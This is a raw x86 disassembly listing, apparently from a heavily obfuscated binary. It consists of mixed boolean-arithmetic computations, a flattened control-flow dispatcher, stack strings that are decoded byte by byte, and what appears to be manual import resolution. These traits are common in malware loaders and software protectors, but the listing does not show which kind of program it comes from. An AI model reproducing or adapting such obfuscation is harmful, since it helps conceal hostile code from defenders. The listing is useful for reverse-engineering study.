or esi, edx
xor ebx, esi
and ebx, esi
mov esi, ecx
and ecx, 0x20302050
or esi, 0x78f03754
or ecx, eax
mov edx, esi
and esi, 0xd8cf9f0f
not edx
and edx, 0x70040a0
or edx, esi
xor edx, ecx
mov eax, edx
and edx, 0x78f03754
not eax
and eax, 0x870fc8ab
or edx, eax
mov eax, edx
mov ecx, edx
xor eax, 0x87c2cabf
not ecx
and eax, edx
and ecx, 0xdaf817dd
and edx, 0x2507e822
or edx, ecx
mov ecx, eax
xor edx, 0xa2c5229d
and ecx, edx
xor edx, eax
or edx, ecx
mov ecx, edx
and edx, 0x2ac80003
not ecx
mov eax, ecx
or ecx, 0x3eca330b
and eax, 0x14023308
or edx, eax
mov eax, ecx
and ecx, 0xa19caaaa
mov esi, edx
xor edx, 0x8114aaa8
not eax
xor esi, 0xa400001
and eax, 0x40214454
and edx, 0xa19caaaa
and esi, 0x1e421101
or eax, ecx
or esi, edx
mov edx, ebx
xor eax, esi
not edx
mov ecx, eax
and eax, 0x2b0f2159
mov edi, edx
not ecx
or edi, 0xe8f58c4c
and ecx, 0xd4f0dea6
mov esi, edi
and edi, 0x10936aa1
or eax, ecx
not esi
mov ecx, eax
xor eax, 0x802cc84
and esi, 0x7081112
xor ecx, 0x11400200
and eax, 0xc87dcd6
or esi, edi
and ecx, 0xf3782329
or ecx, eax
mov eax, ecx
xor ecx, 0x801c050
xor eax, 0xd0780001
and ecx, 0x2b01e378
and eax, 0xd4fe1c87
or eax, ecx
mov ebp, eax
xor eax, 0x4e1885
xor ebp, 0x2000c330
and eax, 0xb4f38cd
and ebp, 0xf4b0c732
or ebp, eax
mov eax, ebx
and ebx, 0x648606ec
or eax, 0x170a73b3
mov edi, ebp
mov ecx, eax
and eax, 0x10936aa1
xor edi, 0x304432
not ecx
and edi, 0xa3d54f6
and ecx, 0xe864844c
or ecx, eax
xor esi, ecx
mov ecx, ebp
xor ebp, 0xeb54f046
xor ecx, 0xb4f38cd
mov eax, esi
and esi, 0x8486fb45
mov dword [esp + 0x14], ecx
and ecx, 0xf5c2ab09
not eax
or edi, ecx
and eax, 0x7b7904ba
mov ecx, edi
or esi, eax
and edi, 0x628f3056
not ecx
mov dword [esp + 4], esi
and ecx, 0x9d70cfa9
or edi, ecx
mov ecx, esi
xor esi, 0x8c68bf82
xor ecx, 0x938c88f6
mov eax, edi
xor edi, 0x68b264a0
mov dword [esp], ecx
and ecx, 0x1fe43774
xor eax, 0x974d9b5f
or esi, ecx
mov ecx, edx
mov dword [esp + 8], eax
and eax, 0xe18d08be
and ecx, 0x9b79f913
or ebx, ecx
xor ebx, 0x7b623198
xor edx, ebx
and edx, ebx
mov ebx, edi
and ebx, 0x1e72f741
or eax, ebx
mov ebx, eax
xor eax, 0xfe693fca
xor ebx, 0x1840034
and ebx, 0x1fe43774
or eax, ebx
mov ebx, esi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x14]
not ebx
and ebx, 0x6652a82f
and eax, 0xe01bc88b
or ebp, eax
mov eax, ebp
and ebp, 0x37cd8f05
not eax
and eax, 0xc83270fa
or ebp, eax
mov eax, esi
or esi, 0xbfead1
and eax, 0x99ad57d0
mov dword [esp + 0x14], ebp
mov ebp, edx
xor edx, 0xbfead1
or ebx, eax
not ebp
mov eax, ebx
xor ebx, 0x9912bd01
and edx, ebp
xor eax, 0x6652a82f
and ebx, eax
mov dword [esp + 0x18], eax
mov eax, ebx
and ebx, 0x2bb99e0b
not eax
mov ecx, eax
or eax, esi
and ecx, 0xd44661f4
not eax
or ebx, ecx
mov ecx, esi
and esi, 0xd44661f4
not ecx
and ecx, 0x2b00140a
or ecx, esi
mov esi, ebp
xor ecx, ebx
mov ebx, edx
and edx, 0xbf211e03
or esi, 0xbfead1
not ebx
or eax, ecx
mov ecx, ebx
or ebx, esi
and ecx, 0x40dee1fc
not ebx
or edx, ecx
mov ecx, esi
and esi, 0x40dee1fc
not ecx
and ecx, 0xbf001402
or ecx, esi
mov esi, dword [esp + 0xc]
xor ecx, edx
or ebx, ecx
mov ecx, eax
and eax, 0x3951b9f7
not ecx
and ecx, 0xc6ae4608
or eax, ecx
mov ecx, ebx
and ebx, 0x3951b9f7
not ecx
and ecx, 0xc6ae4608
or ebx, ecx
mov ecx, dword [esp + 0x18]
xor ebx, eax
mov eax, ecx
and eax, ebp
xor ebp, ecx
mov ecx, esi
and esi, 0x8110c61d
or ebp, eax
not ecx
mov eax, ebp
and ebp, 0x8bffefa8
mov edx, ecx
not eax
and eax, 0x74001057
or ebp, eax
mov eax, ebx
xor ebp, 0x8bffefa8
and eax, ebp
xor ebp, ebx
mov ebx, dword [esp + 0x14]
or ebp, eax
not ebp
mov eax, ebx
xor ebx, 0xc83270fa
xor edx, ebx
xor eax, 0x36cd0900
and ebx, 0x8110c61d
and eax, 0x7eef39e2
and edx, ecx
and ecx, 0x7eef39e2
or ecx, esi
or eax, ebx
xor eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, ebp
xor ecx, eax
mov edx, eax
not ecx
not edx
and ecx, eax
and edx, 0xcb093e03
and eax, 0x34f6c1fc
or eax, edx
mov edx, ecx
and ecx, 0xbd98d466
not edx
xor eax, 0xcb093e03
mov esi, edx
or eax, ebp
and esi, 0x42672b99
or edx, eax
or ecx, esi
mov esi, eax
and eax, 0x42672b99
not edx
not esi
and esi, 0xbd98d466
or esi, eax
mov eax, dword [esp + 4]
xor esi, ecx
mov ecx, dword [esp]
or edx, esi
mov esi, dword [esp + 8]
xor eax, 0x6c737709
and esi, ecx
or ecx, edi
and edi, eax
not ecx
or edi, esi
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov ecx, edi
mov eax, edi
xor ecx, 0x3c808a5c
and eax, 0x2c008a0c
and ecx, edi
not edi
and edi, 0x10800050
or eax, edi
xor eax, 0x2c008a0c
mov esi, eax
and esi, ecx
xor ecx, eax
or ecx, esi
mov eax, ecx
and ecx, 0x923c0901
not eax
and eax, 0x6dc3f6fe
or ecx, eax
mov eax, ecx
xor ecx, 0x51437ca2
xor eax, 0x8308208
mov esi, ecx
and esi, 0xb6cd59f5
and eax, 0x4932a60a
or eax, esi
mov esi, edx
and edx, 0xfe09568
xor eax, 0xb6cd59f5
not esi
xor ecx, eax
and ecx, eax
mov eax, esi
or esi, 0x3888498c
and eax, 0xf01f6a97
or edx, eax
mov eax, edx
xor edx, 0xc897231b
xor eax, 0xfe09568
and edx, eax
mov edi, edx
and edx, 0x5f95f5ca
not edi
mov ebx, edi
or edi, esi
and ebx, 0xa06a0a35
not edi
or edx, ebx
mov ebx, esi
and esi, 0xa06a0a35
not ebx
and ebx, 0x4715b442
or ebx, esi
mov esi, ecx
xor esi, 0x3888498c
xor ebx, edx
mov edx, esi
and esi, ecx
not ecx
or edi, ebx
and edx, ecx
mov ebx, edx
and ebx, esi
xor esi, edx
mov edx, edi
or esi, ebx
not edx
and edx, esi
not esi
and esi, edi
or esi, edx
mov edx, eax
and edx, ecx
xor ecx, eax
mov eax, esi
or ecx, edx
not ecx
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
mov esi, eax
and edx, ecx
and ecx, 0x4430ca5b
and esi, edx
xor edx, eax
and eax, 0xbbcf35a4
or edx, esi
or ecx, eax
mov esi, edx
and edx, 0x87c2cabf
mov eax, ecx
xor ecx, 0xc3f200e4
not esi
xor eax, 0x400ca1b
and esi, 0x783d3540
and eax, 0x87c2cabf
or edx, esi
or ecx, eax
mov esi, edx
xor esi, 0x783d3540
and esi, edx
mov edx, ecx
mov eax, esi
not edx
not eax
and edx, eax
or eax, ecx
and ecx, esi
or ecx, edx
mov edi, eax
mov esi, eax
mov edx, ecx
not edi
and esi, 0x8542b5dd
and ecx, 0x7abd4a22
not edx
and edi, 0x7abd4a22
or eax, edx
and edx, 0x8542b5dd
or edi, esi
or ecx, edx
not eax
xor ecx, edi
or eax, ecx
mov edx, eax
mov esi, eax
mov ecx, eax
mov dword [esp], eax
not edx
and esi, 0x3ce6e7db
xor ecx, 0x538ebc5
mov edi, edx
mov ebx, edx
mov dword [esp + 4], edx
and edi, 0xc3191824
or ebx, 0x1b816b4b
or esi, edi
mov edi, esi
xor esi, 0x1000800
xor edi, 0x800600a
or esi, 0xe0468034
and esi, 0xf1c68b75
and edi, 0xa01600a
or edi, esi
mov esi, ebx
and ebx, 0xf1c68b75
not esi
and esi, 0x4381480
or esi, ebx
xor esi, edi
mov edi, esi
and esi, 0x1b816b4b
not edi
and edi, 0xe47e94b4
or esi, edi
mov edi, esi
and esi, 0xf0f9d17b
not edi
and edi, 0xf062e84
or esi, edi
mov edi, esi
xor esi, 0xf5c13abe
xor edi, 0x38c141
and edi, 0x538ebc5
or esi, edi
mov edi, edx
and edi, 0xfac7143a
mov eax, esi
or ecx, edi
mov edi, esi
xor edi, 0x2a116f15
and eax, ecx
mov edx, ecx
mov ebp, edi
mov dword [esp + 8], eax
mov eax, ecx
xor ecx, esi
not edx
and ebp, esi
not esi
or edx, 0x2a116f15
or eax, 0xd5ee90ea
or ecx, dword [esp + 8]
and edi, esi
mov esi, ebp
and ebp, 0xbcfc44ce
not esi
mov ebx, esi
and ebx, 0x4303bb31
not ecx
or ebp, ebx
mov ebx, edi
and edi, 0xbcfc44ce
not ebx
or esi, ebx
and ebx, 0x4303bb31
or edi, ebx
not esi
xor edi, ebp
mov ebp, dword [esp + 0x10]
or esi, edi
mov edi, edx
and edx, 0xbc3ff285
not edi
and edi, 0x41c0006a
or edi, edx
mov edx, eax
and eax, 0xbc3ff285
inc ebp
not edx
mov dword [esp + 0x124], ebp
and edx, 0x2000d10
or edx, eax
mov eax, esi
and esi, 0x31f6f5e2
not eax
xor edx, edi
and eax, 0xce090a1d
or esi, eax
mov eax, edx
and edx, 0x31f6f5e2
not eax
and eax, 0xce090a1d
or edx, eax
xor edx, esi
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
xor eax, 0x3159e358
and eax, ecx
not ecx
and ecx, 0x3159e358
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
and eax, 0x4766f81d
not ecx
and ecx, 0xb89907e2
or eax, ecx
mov edx, eax
xor eax, 0x8cf80f7f
xor edx, 0x7307f080
mov ecx, eax
and eax, 0x4102a499
mov esi, edx
and ecx, edx
and esi, 0xbefd5b66
or eax, esi
mov esi, ecx
and ecx, 0x4102a499
not esi
or edx, esi
and esi, 0xbefd5b66
or ecx, esi
not edx
xor ecx, eax
mov eax, dword [esp]
or edx, ecx
mov ecx, dword [esp + 4]
mov edi, edx
mov esi, eax
xor esi, 0x6f4fc931
and ecx, 0x634e8030
and esi, eax
and eax, 0xc014901
or eax, ecx
xor eax, 0xc014901
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
and esi, 0x97b93c23
not eax
and eax, 0x6846c3dc
or esi, eax
mov eax, edx
mov ecx, esi
xor esi, 0x7090aed
not eax
xor edi, esi
xor ecx, 0x60426100
and eax, 0x9abd9692
and esi, 0x9abd9692
and ecx, 0x6542696d
and edi, edx
and edx, 0x6542696d
or edx, eax
or ecx, esi
mov eax, dword [0x4d0db8]
xor ecx, edx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
xor edx, 0xb59cac0d
and edx, ecx
or ecx, 0x4a6353f2
mov esi, ecx
mov edi, ecx
not esi
and edi, 0x470b0139
and esi, 0xb094ac04
or esi, edi
mov edi, edx
and edx, 0xb8f4fec6
not edi
or ecx, edi
and edi, 0x470b0139
or edx, edi
not ecx
xor edx, esi
mov esi, 0x37a6f1aa
or ecx, edx
mov edx, ecx
and ecx, 0xe09abfab
not edx
and edx, 0x1f654054
or ecx, edx
xor ecx, 0x550613a6
sete bl
setne ch
cmp eax, 9
setg cl
cmp eax, 0xa
mov al, ch
mov byte [esp], ch
mov byte [esp + 8], bl
setl ah
mov dh, cl
mov dl, cl
and byte [esp], cl
and al, ah
and dh, bl
xor dl, ch
mov byte [esp + 4], ah
or dh, al
mov al, ah
xor al, ch
mov bh, dh
and al, ah
xor bh, 1
mov ch, al
mov bl, bh
and ch, dl
xor dl, al
mov al, bh
and al, dh
or dl, ch
xor bl, al
xor al, 1
mov ch, dl
mov ah, dl
xor bh, dl
or al, dh
xor ch, 1
xor al, 1
or al, bl
mov bl, dl
and bl, ch
or ch, dh
and ah, bl
xor bl, dl
xor ch, 1
or bl, ah
mov ah, al
or ch, bh
xor ah, 1
xor ch, 1
and ah, bl
xor bl, 1
and bl, al
mov al, cl
or bl, ah
mov edx, ebx
and dl, ch
xor ch, bl
or ch, dl
mov dl, ch
xor dl, 1
and ch, dl
mov dh, dl
mov ebx, edx
and dh, ch
xor bl, ch
mov ah, ch
or bl, dh
xor ah, 1
and ch, bl
xor bl, 1
and bl, ah
xor ah, dl
or ah, dl
or bl, ch
mov ch, byte [esp + 8]
mov dl, ah
xor dl, bl
xor bl, 1
or bl, ah
xor dl, 1
xor bl, 1
xor cl, ch
or al, ch
or bl, dl
mov bh, bl
xor bh, 1
mov dl, bh
mov ah, bh
and dl, bl
and ah, dl
xor dl, bh
or bh, bl
or dl, ah
xor bh, 1
xor dl, 1
mov ah, dl
and ah, bh
xor bh, dl
mov edx, eax
or bh, ah
mov ah, cl
xor dl, 1
not ah
or cl, dl
mov dh, bh
and ah, ch
xor cl, 1
xor dh, 1
xor dl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov dl, byte [esp + 4]
xor ah, 1
mov al, ah
xor al, ch
and dl, ch
xor ah, al
or dl, byte [esp]
and ah, al
mov bl, ah
xor bl, 1
mov al, dl
and al, cl
xor cl, dl
or cl, al
mov ch, cl
mov al, cl
xor ch, 1
and ch, cl
and al, ch
xor ch, cl
or ch, al
mov al, ah
or al, bl
and ah, al
xor al, 1
mov cl, al
xor cl, bl
and cl, al
and al, bl
mov dl, cl
or al, ah
xor cl, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, cl
mov dl, cl
and dl, al
xor al, cl
or al, dl
xor al, ch
xor ch, bl
mov cl, ch
mov ah, al
xor cl, 1
and bl, cl
mov dl, bl
xor bl, ch
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor ah, dl
and dl, al
and ah, al
xor al, 1
xor cl, 1
and cl, al
xor ah, 1
or dl, cl
mov al, ah
mov cl, bh
xor dl, 1
or cl, dh
xor al, dl
or dl, ah
mov ah, cl
xor dl, 1
and ah, bh
or dl, al
mov al, cl
xor al, 1
mov ch, dl
and al, dh
or al, ah
mov ah, dh
and ah, cl
xor cl, dh
xor al, 1
and dh, bh
or cl, ah
mov ah, al
or al, cl
xor ah, cl
mov cl, dl
xor cl, 1
xor al, 1
mov bl, cl
or al, ah
mov ah, cl
mov byte [esp + 8], cl
or ch, cl
and bl, dl
mov byte [esp + 4], al
and ah, bl
xor bl, cl
or bl, ah
xor bl, 1
mov cl, bl
xor bl, ch
or cl, ch
mov ah, cl
xor ah, bl
xor bl, 1
or bl, cl
mov cl, al
xor ah, 1
xor bl, 1
xor cl, 1
or bl, ah
mov ah, cl
mov byte [esp], cl
and ah, al
mov al, cl
and cl, ah
xor ah, al
or ah, cl
xor ah, 1
mov cl, ah
xor ah, al
and cl, al
or ah, cl
mov cl, bh
and cl, dh
xor dh, bh
xor ah, 1
or dh, cl
mov cl, dh
xor cl, 1
mov bh, cl
and bh, dh
mov al, bh
xor bh, dh
xor al, 1
or al, cl
xor al, 1
or al, bh
mov bh, ah
mov cl, al
or al, ah
xor cl, 1
or bh, cl
xor cl, ah
xor bh, 1
or bh, cl
and cl, ah
mov ah, al
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, byte [esp + 8]
mov al, cl
mov dh, cl
xor al, bh
xor bh, 1
xor dh, bh
or bh, cl
xor al, 1
xor bh, 1
mov cl, ah
or bh, al
xor cl, ch
mov al, bh
and cl, ah
xor al, dh
xor dh, 1
xor cl, 1
or dh, bh
xor al, 1
xor dh, 1
or dh, al
mov al, ch
and ch, ah
xor ah, dl
xor al, 1
or ah, al
and al, dl
mov dl, dh
or ch, al
mov al, cl
xor dl, 1
xor ch, 1
or dl, dh
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and ch, al
mov cl, ch
xor ch, al
and cl, al
mov al, ah
or ch, cl
xor al, ch
xor ch, 1
or ch, ah
mov cl, al
xor cl, ch
or ch, al
mov al, dh
xor al, dl
or dl, dh
xor ch, 1
xor dl, 1
or ch, cl
mov cl, dl
xor dl, al
and cl, al
mov al, ch
xor al, 1
or dl, cl
mov cl, ch
or al, ch
xor cl, al
or al, ch
xor al, 1
mov ah, al
xor al, cl
and ah, cl
mov ecx, ebx
or al, ah
xor cl, 1
mov ch, al
mov ah, cl
xor ch, 1
and ah, bl
and ch, dl
xor dl, 1
and dl, al
or dl, ch
mov ch, byte [esp + 4]
mov al, ch
xor al, bl
or bl, ch
xor bl, 1
or bl, al
mov al, cl
and al, ah
xor ah, cl
or ah, al
mov al, bl
xor ah, byte [esp]
xor ah, 1
or al, ah
xor ah, bl
xor al, 1
mov ecx, eax
and cl, ah
xor ah, al
or ah, cl
mov al, ah
xor al, 1
mov ecx, eax
or cl, ah
mov ch, cl
mov dh, cl
mov ebx, ecx
xor ch, 1
and dh, ch
or ch, al
and bl, dh
xor dh, cl
xor cl, ah
xor ch, 1
or dh, bl
or ch, cl
xor dh, ah
mov al, ch
mov ah, dl
xor al, dh
xor dh, 1
or dh, ch
xor al, 1
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and al, dh
xor al, 1
mov ecx, eax
or al, dh
xor cl, dh
xor al, 1
or al, cl
mov ecx, eax
xor ah, al
or al, dl
xor dl, 1
xor ah, 1
xor cl, 1
or ah, dl
or dl, cl
mov ecx, edx
or dl, al
xor cl, al
xor dl, 1
mov al, ah
or dl, cl
xor al, 1
mov ecx, edx
and dl, ah
xor cl, 1
or ah, cl
and cl, al
or cl, dl
mov edx, 0xaed007a
mov al, cl
xor al, ah
test cl, 1
mov ecx, 0x37a6f1aa
cmovne ecx, edx
test ah, 1
cmovne ecx, esi
test al, 1
jmp 0x44b0f3
lea eax, [esp + 0x7c]
mov ecx, 0x8995836b
mov edx, 0xa85f3fff
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0xdc]
mov eax, dword [eax]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0xe0]
movzx eax, word [eax + 2]
cmp eax, 0x8000
jmp 0x44b0f3
mov ecx, 0xdfae50b4
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x150]
mov ecx, 0xac2837a5
inc eax
mov dword [esp + 0x50], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xb0]
lea edi, [esp + 0x274]
add eax, dword [ecx + 0xc]
mov dword [esp + 0xc0], edi
mov dword [esp + 0xbc], eax
mov eax, dword [esp + 0xc0]
mov esi, dword [esp + 0xbc]
sub esp, 4
movzx eax, byte [esp + 0x7c]
mov ecx, edi
mov byte [esp], al
call fcn.004507a0
mov dword [esp + 0x284], 0
mov dword [esp + 0x288], 0xf
mov byte [esp + 0x274], 0
push esi
call fcn.00475b50
add esp, 4
mov ecx, edi
push eax
push esi
call fcn.004576f0
lea eax, [esp + 0x268]
mov ecx, 0xfaba439
mov dword [esp + 0xc4], eax
mov eax, dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x3c], 0
mov dword [eax + 4], 0x3f747463
mov dword [eax + 8], 0x7d7d75
mov dword [eax], 0x7e72627c
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xdc]
mov ecx, dword [ecx]
lea eax, [eax + ecx + 2]
mov ecx, dword [esp + 0xd8]
push eax
push dword [esp + 0xd0]
call ecx
mov ecx, dword [esp + 0xd4]
mov edx, dword [esp + 0x144]
mov dword [ecx + edx*4], eax
mov ecx, 0xe8e7eb58
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x48]
mov edx, 0x2c95c714
mov dword [esp + 0x154], eax
mov eax, dword [esp + 0xa0]
movzx eax, word [eax]
mov ecx, dword [esp + 0x154]
cmp ecx, eax
mov ecx, 0x6d370ce3
cmovl ecx, edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x3c]
mov ecx, 0xfce54cd3
mov edx, 0xb69b9c8e
mov dword [esp + 0x13c], eax
mov eax, dword [esp + 0x13c]
cmp eax, 0xb
cmovb ecx, edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x148]
mov ecx, 0x2390a206
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x100]
lea edx, [esp + 0x74]
push edx
push dword [esp + 0x64]
push dword [eax + 8]
push dword [esp + 0x124]
call ecx
mov eax, dword [esp + 0x154]
mov ecx, 0xc1fcd16
inc eax
mov dword [esp + 0x48], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov ecx, 0x15e5c750
mov byte [esp + 0x38], 1
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0x144]
mov ecx, 0x8cd17820
inc eax
mov dword [esp + 0x4c], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov esi, dword [esp + 0x13c]
mov ah, byte [esp + esi + 0x268]
mov cl, ah
mov dl, ah
mov byte [esp + 8], ah
not cl
and dl, 0xe2
mov al, cl
mov dh, cl
mov byte [esp + 4], cl
mov cl, ah
and al, 0x1d
and cl, 0x30
or dl, al
mov al, dh
and al, 0xcf
mov ch, dl
xor dl, 0xa2
or cl, al
xor ch, 0x1d
and dl, 0xa7
xor cl, 0x30
mov al, ch
or ch, 0xd9
mov ah, cl
and al, 0x58
xor ah, dh
or dl, al
mov dh, ch
and ch, 0xe4
and ah, cl
mov cl, dl
xor dl, 0x58
not dh
mov bl, ah
mov al, ah
or dl, 0x26
and dh, 2
xor cl, 0xa7
xor bl, 0xd9
and al, 0xfe
mov bh, dl
and dl, 0xe4
or dh, ch
and bl, ah
not ah
not bh
and ah, 1
and bh, 0x19
mov ch, bl
and bl, 0x31
or al, ah
or bh, dl
not ch
mov ah, al
xor al, 1
xor dh, bh
or al, 0x26
xor ah, 0xfe
mov dl, al
mov bh, al
or al, ch
and ch, 0xce
not dl
and bh, 0xce
or bl, ch
not al
and dl, 0x11
or dl, bh
xor bl, dl
mov dl, dh
and dh, 0x69
not dl
or al, bl
movzx ebx, byte [esp + 4]
and dl, 0x96
or dh, dl
mov dl, al
and al, 0x69
not dl
and dl, 0x96
or al, dl
mov dl, cl
and dl, ah
xor ah, cl
xor al, dh
mov ecx, eax
or ah, dl
and al, 0xd4
mov dl, ah
not cl
mov ch, cl
not dl
or cl, ah
and ah, 0x2b
and dl, 0xd4
and ch, 0x2b
not cl
or al, ch
or dl, ah
xor dl, al
or cl, dl
mov eax, ecx
mov ch, cl
not al
and ch, 0x90
mov edx, eax
and al, 0x6f
and dl, cl
or al, ch
mov ch, byte [esp + 8]
mov ah, dl
and dl, 0x6f
not ah
or cl, ah
and ah, 0x90
or dl, ah
not cl
mov bh, ch
xor dl, al
or cl, dl
mov eax, ecx
xor cl, 0xdd
not al
and cl, al
or al, 0xdd
mov ah, cl
and cl, 0x3a
not ah
mov dl, ah
or ah, al
not al
and dl, 0xc5
or al, 0xc5
not ah
or cl, dl
mov dl, ch
xor al, cl
mov cl, bl
xor dl, 0xed
or ah, al
and cl, 0xb9
and dl, ch
mov al, ah
and ah, 0x9e
not al
and al, 0x61
or ah, al
mov al, ah
xor ah, 0xbc
xor al, 0x41
and al, 0xe9
or ah, al
mov al, ah
and ah, 0x4e
not al
and al, 0xb1
or ah, al
mov al, ah
xor al, 0x4e
mov byte [esp], al
mov al, ch
mov ch, dl
and dl, 0xeb
and al, 0x46
not ch
or al, cl
mov cl, al
xor al, 0xa9
or al, 0x12
xor cl, 0x40
mov dh, al
or al, ch
and ch, 0x14
and cl, 0xe9
and dh, 0x14
or dl, ch
not al
or cl, dh
mov dh, byte [esp]
xor dl, cl
or al, dl
mov dl, bl
mov ecx, eax
and al, 0x70
and dl, 0xa4
not cl
and cl, 0x8f
or al, cl
mov ch, al
xor al, 0x80
xor ch, 0x74
and al, 0xa4
mov cl, ch
or ch, bh
and cl, 0x5b
not ch
or al, cl
mov cl, bh
and cl, 0x5b
or dl, cl
xor dl, al
mov al, ah
xor ah, 0xa3
xor al, 0xb1
or ch, dl
and dh, al
mov cl, al
mov bh, ch
mov dl, ch
and cl, dh
xor dh, al
not bh
and al, 0x12
or dh, cl
mov cl, ch
or ah, al
and cl, bh
mov bl, dh
mov al, ah
mov byte [esp], dh
and dh, 0x12
and ah, 0x6f
and bh, 0x72
and dl, cl
xor cl, ch
not bl
not al
or cl, dl
mov byte [esp + 0xc], bl
and bl, 0xed
and al, 0x90
or dh, bl
mov bl, cl
or ah, al
mov byte [esp + 0x10], cl
and cl, 0xe3
not bl
not dh
mov al, bl
or dh, byte [esp + 0xc]
and al, 0x1c
or cl, al
mov dl, cl
xor cl, 0x18
xor dl, 0xe3
and cl, 0x7b
mov al, dl
and dl, 0xed
and al, 0x84
or al, cl
xor al, 0x96
or dl, al
mov al, ch
and al, 0x8d
or bh, al
mov al, ah
xor ah, 0x90
xor al, 0x6f
xor bh, 0x60
and al, dh
not dh
or bh, ch
mov cl, dh
xor cl, ah
and ah, dh
and cl, dh
or ah, al
mov ch, cl
and cl, 0x56
not ch
mov al, ch
and al, 0xa9
or cl, al
mov al, ah
and ah, 0x56
not al
or ch, al
and al, 0xa9
or ah, al
mov al, dl
and dl, 0xab
not ch
not al
xor ah, cl
mov cl, al
or ch, ah
xor cl, bh
and cl, al
and al, 0x54
or al, dl
mov dl, bh
mov ah, cl
and bh, 0xab
and cl, 0x7a
not dl
not ah
and dl, 0x54
or dl, bh
xor dl, al
mov al, ah
and al, 0x85
or cl, al
mov al, dl
and dl, 0x7a
not al
or ah, al
and al, 0x85
or dl, al
not ah
xor dl, cl
or ah, dl
mov al, ah
and ah, 0x1d
not al
mov cl, al
and al, 0xe2
or ah, al
or cl, ch
not ch
xor ah, 0xe2
not cl
or ah, ch
mov al, cl
not ah
and al, ah
xor ah, cl
movzx ecx, byte [esp + 0xc]
or ah, al
mov al, byte [esp + 0x10]
mov ch, ah
mov dl, ah
not ch
and ch, 0xc2
and al, cl
or cl, bl
and bl, byte [esp]
not cl
or bl, al
mov al, cl
and al, bl
xor bl, cl
or bl, al
mov al, bl
xor al, 0x95
and al, bl
not bl
and bl, 0x95
mov cl, bl
and cl, al
xor al, bl
or al, cl
mov cl, al
and al, 0x95
not cl
and cl, 0x6a
or al, cl
mov cl, al
and al, 0x3d
not cl
xor dl, cl
and cl, 0xc2
and dl, ah
and ah, 0x3d
or al, cl
or ah, ch
mov ecx, edx
and dl, 0x72
xor al, ah
not cl
mov ah, al
mov ch, cl
and al, 0x72
not ah
and ch, 0x8d
or cl, ah
and ah, 0x8d
or dl, ch
or al, ah
not cl
xor al, dl
or cl, al
mov ah, cl
not ah
mov al, ah
mov dl, ah
mov dh, ah
and al, cl
and dh, 0xe9
and cl, 0x16
and dl, al
xor al, ah
or cl, dh
or al, dl
xor ah, cl
mov edx, eax
and al, 0x38
and ah, cl
not dl
mov cl, ah
and dl, 0xc7
xor cl, 0xa4
or al, dl
mov dh, cl
and cl, ah
not ah
mov dl, al
xor al, 0x2e
and dh, ah
xor dl, 0x10
and dl, 0x16
or al, dl
mov dl, al
and al, 0xca
not dl
and dl, 0x35
or al, dl
mov ch, al
mov dl, al
xor al, 0x6e
xor dl, 0x35
mov ebx, eax
xor ch, 0xca
and bl, dl
and al, ch
mov ch, bl
and bl, 0x74
not ch
mov bh, ch
and bh, 0x8b
or bl, bh
mov bh, al
and al, 0x74
not bh
or ch, bh
and bh, 0x8b
or al, bh
not ch
xor al, bl
or ch, al
mov al, dh
and al, cl
xor cl, dh
or cl, al
mov al, ch
not al
and al, cl
not cl
and cl, ch
or cl, al
mov al, dl
and al, ah
xor ah, dl
mov ch, cl
and cl, 7
or ah, al
not ch
mov al, ah
and ah, 0x9f
mov dl, ch
not al
and dl, 0xf8
and al, 0x60
or cl, dl
or ah, al
mov al, ah
xor ah, 0x60
not al
or ch, ah
and ah, 0xf8
and al, 7
not ch
or al, ah
xor al, cl
or ch, al
mov cl, ch
mov dl, ch
mov dh, ch
and ch, 0xa
not cl
and dl, 0x1c
and dh, 3
mov eax, ecx
and cl, 0xf5
and al, 0xe0
or ch, cl
or dl, al
mov cl, ch
xor ch, 0x61
xor dl, 0x1c
xor cl, 0xa
and ch, 0x63
or dh, dl
mov dl, cl
mov al, dh
and dh, 0xc1
and dl, 0x9c
not al
or dl, ch
and al, 0x3e
xor dl, 0x9c
or dh, al
or dl, cl
mov al, dh
mov ah, dh
xor dh, 0xbd
mov ecx, edx
mov ch, dl
xor al, 0x3d
xor ah, 0xc2
or cl, 0x45
not ch
and dh, ah
mov ebx, eax
and cl, 0xc5
and ah, 0x85
and bl, 0x7f
mov bh, dh
and bh, bl
xor bl, dh
mov dh, dl
and dl, 0x85
or dh, 0x80
or bl, bh
